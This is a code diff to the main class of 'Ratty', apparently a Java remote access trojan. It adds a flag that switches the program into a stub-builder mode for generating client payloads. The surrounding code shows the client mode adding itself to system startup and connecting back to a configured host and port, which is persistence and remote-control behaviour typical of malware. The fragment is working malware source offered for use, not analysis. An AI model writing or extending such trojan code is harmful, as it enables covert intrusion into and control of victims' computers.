|
|
@ -10,6 +10,7 @@ import javax.swing.JOptionPane; |
|
|
|
import com.alee.laf.WebLookAndFeel; |
|
|
|
|
|
|
|
import de.sogomn.engine.util.FileUtils; |
|
|
|
import de.sogomn.rat.builder.StubBuilder; |
|
|
|
import de.sogomn.rat.server.ActiveServer; |
|
|
|
import de.sogomn.rat.server.gui.RattyGui; |
|
|
|
import de.sogomn.rat.server.gui.RattyGuiController; |
|
|
@ -20,6 +21,7 @@ public final class Ratty { |
|
|
|
private static String address; |
|
|
|
private static int port; |
|
|
|
private static boolean client; |
|
|
|
private static boolean builder; |
|
|
|
|
|
|
|
private static final String PORT_INPUT_MESSAGE = "Which port should the server be bind to?"; |
|
|
|
|
|
|
@ -40,14 +42,16 @@ public final class Ratty { |
|
|
|
private static void readConnectionData() { |
|
|
|
final String[] lines = FileUtils.readInternalLines(CONNECTION_DATA_FILE_NAME); |
|
|
|
|
|
|
|
if (lines.length >= 3) { |
|
|
|
if (lines.length >= 4) { |
|
|
|
final String addressString = lines[0].trim(); |
|
|
|
final String portString = lines[1].trim(); |
|
|
|
final String clientString = lines[2].trim(); |
|
|
|
final String builderString = lines[3].trim(); |
|
|
|
|
|
|
|
address = addressString; |
|
|
|
port = Integer.parseInt(portString); |
|
|
|
client = Boolean.parseBoolean(clientString); |
|
|
|
builder = Boolean.parseBoolean(builderString); |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
@ -111,10 +115,7 @@ public final class Ratty { |
|
|
|
server.start(); |
|
|
|
} |
|
|
|
|
|
|
|
public static void main(final String[] args) { |
|
|
|
WebLookAndFeel.install(); |
|
|
|
readConnectionData(); |
|
|
|
|
|
|
|
public static void start() { |
|
|
|
if (client) { |
|
|
|
addToStartup(); |
|
|
|
connectToHost(address, port); |
|
|
@ -129,4 +130,18 @@ public final class Ratty { |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
public static void main(final String[] args) { |
|
|
|
WebLookAndFeel.install(); |
|
|
|
|
|
|
|
readConnectionData(); |
|
|
|
|
|
|
|
if (builder) { |
|
|
|
StubBuilder.start(); |
|
|
|
|
|
|
|
System.exit(0); |
|
|
|
} else { |
|
|
|
start(); |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
} |